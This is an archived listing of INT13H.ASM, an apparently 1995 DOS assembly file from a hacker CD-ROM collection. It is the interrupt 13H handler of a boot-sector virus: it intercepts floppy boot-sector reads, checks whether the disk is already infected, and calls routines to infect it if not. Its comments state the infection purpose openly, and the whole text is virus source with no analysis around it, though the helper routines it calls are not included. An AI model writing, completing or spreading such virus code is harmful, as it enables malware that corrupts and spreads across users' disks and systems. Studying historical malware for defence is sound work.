home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / BBS / INT13H.ASM < prev   
Encoding:
Assembly Source File  |  1995-07-03  |  1.8 KB  |  33 lines

  1. ;*******************************************************************************
  2. ;* INTERRUPT 13H HANDLER                                                       *
  3. ;*******************************************************************************
  4.  
  5. OLD_13H DD      ?                       ;Old interrupt 13H vector goes here
  6.  
  7. INT_13H:
  8.         sti
  9.         cmp     ah,2                    ;we want to intercept reads
  10.         jz      READ_FUNCTION
  11. I13R:   jmp     DWORD PTR cs:[OLD_13H]
  12.  
  13. ;*******************************************************************************
  14. ;This section of code handles all attempts to access the Disk BIOS Function 2.
  15. ;If an attempt is made to read the boot sector on the floppy, and
  16. ;the motor is off, this routine checks to see if the floppy has
  17. ;already been infected, and if not, it goes ahead and infects it.
  18. ;
  19. READ_FUNCTION:                                  ;Disk Read Function Handler
  20.         cmp     dh,0                            ;is it head 0?
  21.         jnz     I13R                            ;nope, let BIOS handle it
  22.         cmp     cx,1                            ;is it track 0, sector 1?
  23.         jnz     I13R                            ;no, let BIOS handle it
  24.         cmp     dl,80H                          ;no, is it hard drive c:?
  25.         jz      I13R                            ;yes, let BIOS handle it
  26.         mov     cs:[CURR_DISK],dl               ;save currently accessed drive #
  27.         call    CHECK_DISK                      ;is floppy already infected?
  28.         jz      I13R                            ;yes, pass control to BIOS
  29.         call    INIT_FAT_MANAGER                ;initialize FAT management routines
  30.         call    INFECT_FLOPPY                   ;no, go infect the diskette
  31.         jmp     I13R
  32.  
  33.